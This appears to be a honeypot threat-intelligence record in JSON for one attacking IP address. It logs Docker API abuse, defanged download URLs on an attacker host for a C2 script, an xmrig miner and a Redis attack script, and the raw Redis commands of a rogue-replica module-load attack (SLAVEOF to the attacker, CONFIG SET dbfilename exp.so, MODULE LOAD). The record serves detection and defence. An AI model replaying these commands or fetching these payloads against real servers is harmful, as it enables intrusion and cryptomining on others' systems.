{"ip":"45.61.144.198","data_as_of":"2026-10-26T22:01:24+00:00","observed":true,"total_events":3,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"61 interactive session(s) ran commands after logging in","confidence":"high","network_type":null,"why":["61 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 3 event(s) from this address as well.","Not in any known-scanner range.","Sent 1,325,798 bytes, which is sustained payload delivery.","Held a session open for 173s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"1,325,798 bytes sent, longest session 173s","bytes_sent":1325798,"session_seconds":173,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-20T00:08:35","last_seen":"2026-10-22T02:06:44","events_24h":0,"events_7d":3,"interactive_sessions":5236,"interactive_sessions_24h":0,"interactive_sessions_7d":5236,"interactive_protocols":[{"protocol":"http","sessions":5195},{"protocol":"oracle-tns","sessions":31},{"protocol":"redis","sessions":10}],"geo":{"country_code":"US","country_name":"United States","region":"Utah","city":"Ogden","lat":41.2219,"lon":-111.9631,"asn":14956,"org":"RouterHosting LLC"},"source_domain":"198.144.61.45.static.cloudzy.com","known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"719070d44807e5c2aed398a8d4ea8c455b1c19a7973fcbffcdf96f79470800d9","family":"shell","vt_name":"chain_redis.sh","malicious":1,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":6379,"hits":3,"last_seen":"2026-10-21 13:32:43"},{"sha256":"b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49","family":"xmrig","vt_name":"x12345","malicious":39,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":2375,"hits":3,"last_seen":"2026-10-20 13:30:17"},{"sha256":"68bf25bb54fd2fa38cbe3e60a5a70cd324948827eadb91bd6c42970a2a1835c4","family":"","vt_name":"c2.php","malicious":0,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":2375,"hits":3,"last_seen":"2026-10-20 12:54:38"},{"sha256":"70873649022c5e6baba5ade0c284c20f25d310c4689fe20c946e7cebfbf7af3e","family":"","vt_name":"","malicious":0,"total":0,"vt_status":"","delivery":"interactive session","url_path":"","dest_port":2375,"hits":1,"last_seen":"2026-10-20 13:02:15"}],"udp":null,"interaction":{"window_days":90,"sessions":5236,"first_seen":"2026-10-20T00:08:35","last_seen":"2026-10-21T14:13:10","verdicts":[{"verdict":"scan","sessions":5107},{"verdict":"exploit-attempt","sessions":66},{"verdict":"post-exploitation","sessions":61},{"verdict":"upload","sessions":1},{"verdict":"unknown","sessions":1}],"personas":[{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, docker@25.0.3","sessions":5195},{"persona":"oracle@12.2","sessions":31},{"persona":"redis@7.2.4","sessions":10}],"services":[{"protocol":"http","port":2375,"sessions":5195},{"protocol":"oracle-tns","port":1521,"sessions":31},{"protocol":"redis","port":6379,"sessions":9},{"protocol":"redis","port":6380,"sessions":1}],"logins":[],"commands":[],"downloads":[{"url":"[http]://177[.]104[.]169[.]18/tj/c2.php?a=boot&t=6291faefb6bfab92c9c5837ea99f34b0","host":"177[.]104[.]169[.]18","sessions":6,"first_seen":"2026-10-20T12:54:38","last_seen":"2026-10-20T14:15:54","virustotal":{"sha256":"68bf25bb54fd2fa38cbe3e60a5a70cd324948827eadb91bd6c42970a2a1835c4","status":"known","malicious":0,"total":75,"name":"c2.php"}},{"url":"[http]://177[.]104[.]169[.]18:88/look/xmrig.bin","host":"177[.]104[.]169[.]18","sessions":5,"first_seen":"2026-10-20T13:30:17","last_seen":"2026-10-20T14:01:18","virustotal":{"sha256":"b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49","status":"known","malicious":39,"total":75,"name":"x12345"}},{"url":"[http]://177[.]104[.]169[.]18/tj/stage/chain_redis.sh?t=6291faefb6bfab92c9c5837ea99f34b0","host":"177[.]104[.]169[.]18","sessions":1,"first_seen":"2026-10-21T13:32:43","last_seen":"2026-10-21T13:32:43","virustotal":{"sha256":"719070d44807e5c2aed398a8d4ea8c455b1c19a7973fcbffcdf96f79470800d9","status":"uploaded","malicious":1,"total":75,"name":"chain_redis.sh"}},{"url":"[https]://github[.]com","host":"github[.]com","sessions":1,"first_seen":"2026-10-20T14:01:18","last_seen":"2026-10-20T14:01:18","virustotal":null},{"url":"[http]://www[.]google[.]com","host":"www[.]google[.]com","sessions":1,"first_seen":"2026-10-20T14:01:18","last_seen":"2026-10-20T14:01:18","virustotal":null},{"url":"[http]://177[.]104[.]169[.]18/tj/c2.php","host":"177[.]104[.]169[.]18","sessions":1,"first_seen":"2026-10-20T13:02:15","last_seen":"2026-10-20T13:02:15","virustotal":null}],"files":[{"sha256":"a56145270ce6b3bebd1dd012b73948677dd618d496488bc608a3cb43ce3547dd","name":".c.sh","size":2,"mime_type":"text/plain","kind":"executed","times":12,"first_seen":"2026-10-20T12:52:14","last_seen":"2026-10-20T14:12:09","virustotal":null},{"sha256":"9668c5d8f39d5e6daf78d3400f7ae7a04354eae0642d638e066d4b2b2e2284a8","name":".c.sh","size":90,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T12:55:59","last_seen":"2026-10-20T14:15:54","virustotal":null},{"sha256":"aee6b2a9dcc8d8f25a4e064ce3f8cac8991601fc9653ea19b15ea5107578f14a","name":".c.sh","size":90,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T12:54:37","last_seen":"2026-10-20T14:14:32","virustotal":null},{"sha256":"7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","name":".c.sh","size":8,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T12:53:35","last_seen":"2026-10-20T14:13:31","virustotal":null},{"sha256":"952b86688345c21d97395ec55f7b4f8c142c843447de42b14d3523468c73e3bc","name":".c.sh","size":47,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T13:29:35","last_seen":"2026-10-20T13:55:51","virustotal":null},{"sha256":"e110f0b4fcc7a31e15bbcef760ffbfaf902f410d87735553b830fbfa94551329","name":".c.sh","size":84,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T13:28:42","last_seen":"2026-10-20T13:54:59","virustotal":null},{"sha256":"f43f9ad6ad9ee070f4acea2c6120b5067e0dcd5ec4bb4b1a6ab13c94fca43b5e","name":".c.sh","size":48,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T13:26:18","last_seen":"2026-10-20T13:52:34","virustotal":null},{"sha256":"0b63718dc3dc454bc598d139119fa2fce2fa9a039efd93fbfde1aabdcbdb9129","name":".c.sh","size":102,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T13:25:26","last_seen":"2026-10-20T13:51:43","virustotal":null},{"sha256":"3514a4992063d8c8663acc422232274f6f81bd72d1c57b743b4d6e0ee8c2cde2","name":".c.sh","size":585,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T13:24:35","last_seen":"2026-10-20T13:50:51","virustotal":null},{"sha256":"04efe7f2e2fcafa12c9914148b45280a4c0743081aed05ff0be7bc95f3a4c5ee","name":".c.sh","size":1237,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T13:23:44","last_seen":"2026-10-20T13:50:01","virustotal":null},{"sha256":"d798c2a223bdcca3d8d8f2f881cc569f4f77e20faf1b2490c5ce80e7abce4ea9","name":".c.sh","size":54,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T13:23:03","last_seen":"2026-10-20T13:49:19","virustotal":null},{"sha256":"3afbf93540f3589e4e57111244865a8ec9e72d9732e1bf3cc12a6897af6b2e31","name":".c.sh","size":44,"mime_type":"text/plain","kind":"executed","times":9,"first_seen":"2026-10-20T13:22:21","last_seen":"2026-10-20T13:48:38","virustotal":null},{"sha256":"7d095f5a1561dda500c95a511a0676d2e454f4cd90ac6e74a437f4b2ba9fef3b","name":".o","size":93,"mime_type":"text/plain","kind":"shell-write","times":6,"first_seen":"2026-10-20T12:54:37","last_seen":"2026-10-20T14:15:54","virustotal":null},{"sha256":"7b38c6843eeeab61992dca43d097e1f529d552ae52d52ebba297e8a7f2d990af","name":".o","size":6,"mime_type":"text/plain","kind":"shell-write","times":6,"first_seen":"2026-10-20T13:25:26","last_seen":"2026-10-20T13:54:59","virustotal":null},{"sha256":"b51b939453cc9f7fc9ecedf984268a1a3308018e6fdbbdff25571319bcc23080","name":".o","size":3,"mime_type":"text/plain","kind":"shell-write","times":6,"first_seen":"2026-10-20T13:23:03","last_seen":"2026-10-20T13:52:34","virustotal":null},{"sha256":"0d65cb42360bd865b3c094b0e631c519e4de4f55d0dabf843e18bd0dd3d17955","name":"config.json","size":1310,"mime_type":"text/plain","kind":"shell-write","times":6,"first_seen":"2026-10-20T13:25:26","last_seen":"2026-10-20T13:51:43","virustotal":null},{"sha256":"b51a0514cc945c9efb72f781cec37b397881ee0ac4841c45d37e1605d7ac4c92","name":".c.sh","size":501,"mime_type":"text/plain","kind":"executed","times":6,"first_seen":"2026-10-20T13:30:16","last_seen":"2026-10-20T13:40:50","virustotal":null},{"sha256":"6ce8357b1457ffcc2f625f0edce270f3956c704fa9ed80ed4700bb7accca091c","name":".c.sh","size":919,"mime_type":"text/plain","kind":"executed","times":6,"first_seen":"2026-10-20T13:27:51","last_seen":"2026-10-20T13:38:24","virustotal":null},{"sha256":"acee7094e43f290f79fef5110a4a281ba2ae625ac01e6a7de020f046e9341b65","name":".c.sh","size":1231,"mime_type":"text/plain","kind":"executed","times":6,"first_seen":"2026-10-20T13:26:59","last_seen":"2026-10-20T13:37:12","virustotal":null},{"sha256":"5ef391d886d04116cf84b584ae37ef136f83950ab69b7bfb2a6da7506f7b3a57","name":".o","size":39,"mime_type":"text/plain","kind":"shell-write","times":4,"first_seen":"2026-10-20T12:52:14","last_seen":"2026-10-20T14:12:09","virustotal":null},{"sha256":"9fa50136d03a9ded1c07c082f5324fb90c33e9495d734aa9813b9c56cb560ca6","name":"dk505529ec84.json","size":374,"mime_type":"text/plain","kind":"docker-create","times":4,"first_seen":"2026-10-20T12:52:13","last_seen":"2026-10-20T14:12:09","virustotal":null},{"sha256":"cdc718f77195e2d17b51f6323652d50dc71619a6b8d0155d98e4c47390986e0a","name":".w.sh","size":1566,"mime_type":"text/x-shellscript","kind":"shell-write","times":4,"first_seen":"2026-10-20T13:28:42","last_seen":"2026-10-20T13:39:17","virustotal":null},{"sha256":"ac37a95aa8605061d18d49349dd7e4520609dfb348593f54eb5721f795badb0d","name":"dk5057544931.json","size":490,"mime_type":"text/plain","kind":"docker-create","times":3,"first_seen":"2026-10-20T12:55:59","last_seen":"2026-10-20T14:15:54","virustotal":null},{"sha256":"90ad926b3fbf33b3fc8ed9629ca667aff899d048dbf1497bf853c0d39b40587a","name":"dk5056722a6f.json","size":490,"mime_type":"text/plain","kind":"docker-create","times":3,"first_seen":"2026-10-20T12:54:37","last_seen":"2026-10-20T14:14:32","virustotal":null},{"sha256":"a97a512e36b5ee5c4c49a7418ff77f80a38abc1c457a441bb4da64841a70f760","name":".o","size":7,"mime_type":"text/plain","kind":"shell-write","times":3,"first_seen":"2026-10-20T12:53:35","last_seen":"2026-10-20T14:13:31","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":5107},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":67},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":61},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":13}]},"top_ports":[{"port":2375,"proto":"tcp","label":"Docker","count":0,"sessions":5195},{"port":1521,"proto":"tcp","label":"Oracle","count":0,"sessions":31},{"port":6379,"proto":"tcp","label":"Redis","count":2,"sessions":9},{"port":6380,"proto":"tcp","label":"","count":1,"sessions":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":["Docker-Client/19.03","Mozilla/5.0"],"timeline":[{"date":"2026-10-20","count":1,"sessions":5228},{"date":"2026-10-21","count":0,"sessions":8},{"date":"2026-10-22","count":2,"sessions":0}],"recent_events":[{"timestamp":"2026-10-22T02:06:44","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a","method":"","user_agent":"","ja3":"","session":"4e453f1c-6376-4f13-990b-3fa647cff60f","seq":1,"duration_ms":100,"bytes_in":14,"bytes_out":7,"enriched":{"digest":"3311f70e8081417b","label":"Redis (RESP)","strings":["PING"]}},{"timestamp":"2026-10-22T02:06:44","port":6380,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a","method":"","user_agent":"","ja3":"","session":"0d7ee952-7fc2-4acb-99bf-436e4dcee4ca","seq":1,"duration_ms":100,"bytes_in":14,"bytes_out":7,"enriched":{"digest":"3311f70e8081417b","label":"Redis (RESP)","strings":["PING"]}},{"timestamp":"2026-10-21T14:13:10","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$7\r\nexp1.so\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a2431300d0a646266696c656e616d650d0a24370d0a657870312e736f0d0a","method":"","user_agent":"","ja3":"","session":"1516e625-2ec2-4dfe-95e9-f665b5b1f300-63","seq":63,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"1c723c928f635345","label":"Redis (RESP)","strings":["CONFIG","dbfilename","exp1.so"],"iocs":{"domains":["exp1.so"]}},"interactive":true},{"timestamp":"2026-10-21T14:13:10","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$11\r\n/tmp/exp.so\r\n","payload_hex":"2a330d0a24360d0a4d4f44554c450d0a24340d0a4c4f41440d0a2431310d0a2f746d702f6578702e736f0d0a","method":"","user_agent":"","ja3":"","session":"1516e625-2ec2-4dfe-95e9-f665b5b1f300-61","seq":61,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"b7d3024b62ca259d","label":"Redis (RESP)","strings":["MODULE","LOAD","/tmp/exp.so"],"iocs":{"domains":["exp.so"],"paths":["/tmp/exp.so"]}},"interactive":true},{"timestamp":"2026-10-21T14:13:10","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n","payload_hex":"2a330d0a24360d0a4d4f44554c450d0a24360d0a554e4c4f41440d0a24360d0a73797374656d0d0a","method":"","user_agent":"","ja3":"","session":"1516e625-2ec2-4dfe-95e9-f665b5b1f300-59","seq":59,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"e96f8c36ee472da3","label":"Redis (RESP)","strings":["MODULE","UNLOAD","system"]},"interactive":true},{"timestamp":"2026-10-21T14:13:10","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n","payload_hex":"2a330d0a24370d0a534c4156454f460d0a24320d0a4e4f0d0a24330d0a4f4e450d0a","method":"","user_agent":"","ja3":"","session":"1516e625-2ec2-4dfe-95e9-f665b5b1f300-57","seq":57,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"19890463135c2f6f","label":"Redis (RESP)","strings":["SLAVEOF"]},"interactive":true},{"timestamp":"2026-10-21T14:12:49","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$7\r\nSLAVEOF\r\n$13\r\n45.61.144.198\r\n$5\r\n18106\r\n","payload_hex":"2a330d0a24370d0a534c4156454f460d0a2431330d0a34352e36312e3134342e3139380d0a24350d0a31383130360d0a","method":"","user_agent":"","ja3":"","session":"1516e625-2ec2-4dfe-95e9-f665b5b1f300-55","seq":55,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"5bebd597abc480c5","label":"Redis (RESP)","strings":["SLAVEOF","45.61.144.198","18106"],"iocs":{"ips":["45.61.144.198"]}},"interactive":true},{"timestamp":"2026-10-21T14:12:49","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a2431300d0a646266696c656e616d650d0a24360d0a6578702e736f0d0a","method":"","user_agent":"","ja3":"","session":"1516e625-2ec2-4dfe-95e9-f665b5b1f300-53","seq":53,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"88d1ab746f09a640","label":"Redis (RESP)","strings":["CONFIG","dbfilename","exp.so"],"iocs":{"domains":["exp.so"]}},"interactive":true},{"timestamp":"2026-10-21T14:12:49","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$4\r\n/tmp\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a24330d0a6469720d0a24340d0a2f746d700d0a","method":"","user_agent":"","ja3":"","session":"1516e625-2ec2-4dfe-95e9-f665b5b1f300-51","seq":51,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"160d92b248359b32","label":"Redis (RESP)","strings":["CONFIG","/tmp"]},"interactive":true},{"timestamp":"2026-10-21T14:12:49","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/lib/redis\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a24330d0a6469720d0a2431340d0a2f7661722f6c69622f72656469730d0a","method":"","user_agent":"","ja3":"","session":"1516e625-2ec2-4dfe-95e9-f665b5b1f300-49","seq":49,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"0aa4afccded54769","label":"Redis (RESP)","strings":["CONFIG","/var/lib/redis"],"iocs":{"paths":["/var/lib/redis"]}},"interactive":true}],"http_methods":[{"method":"GET","count":4016},{"method":"POST","count":122},{"method":"DELETE","count":60}],"distinct_ports_total":4,"top_paths":[{"path":"/containers/6da7b45f685927fbd4066fda630d3a48987662e8682b31c49783ce204d224883/json","count":443,"ports":1},{"path":"/containers/b933d602f83ba51f8118241815873741436756af4f981fc299b9ce7026ad8cd4/json","count":218,"ports":1},{"path":"/containers/b97a20669d3de09e864b281124d66b4caf18a9645eb5d1d6906011c4beb6027a/json","count":211,"ports":1},{"path":"/containers/b72b14103625883a9719ef30229fc703c2466ef8ef6e8734b5255543222a3aac/json","count":139,"ports":1},{"path":"/containers/0a713189bbe6ed53d419a5998c83109af3c5c9c13944d7adfe1705285542fb1c/json","count":127,"ports":1},{"path":"/containers/08e2ab9f6ece4794ac9b2c7999790f6df06da7d6e9ba378df795b2262d4bfa1a/json","count":100,"ports":1},{"path":"/containers/226a00237d66598c48a2929189ca1ebb6e656926a77fe00f5ba9668189af324c/json","count":99,"ports":1},{"path":"/containers/3960412ad2d9c9d426dce2e95d4c2bb528db2e46d5ea8f856866c1860802431e/json","count":98,"ports":1},{"path":"/containers/56bc86e33ccb4fe136c4e9eec0bf299c806049d74140d49651717d3bd8530751/json","count":78,"ports":1},{"path":"/containers/9218cf9da6446cfbc5829f0a683692582a124818610faa8e557ca709a9eaa4d6/json","count":77,"ports":1},{"path":"/containers/8b0f251f1b12e99ed4a4d2339cbda351c833dd702b5c5148c670655b0ece338d/json","count":75,"ports":1},{"path":"/containers/2fb65d295780c03d3d450ffd380a0be1b6cbf3b7f6e29811912fc4048178a2f5/json","count":74,"ports":1},{"path":"/containers/fe707b96c932fef1432aec6ab68e3d7d074e7bc35dbafd2e784672169edf43de/json","count":74,"ports":1},{"path":"/containers/4638c0d58807a229f6582097a4b3f45cbc4b0fe75f397d64d2c729c13e0e8076/json","count":73,"ports":1},{"path":"/containers/2d2a912c990b8ad10679ba57ca0d8decf78da4987ffd50750a271460cabc4f16/json","count":72,"ports":1}],"distinct_paths_total":199,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":61},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":61},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":13}]}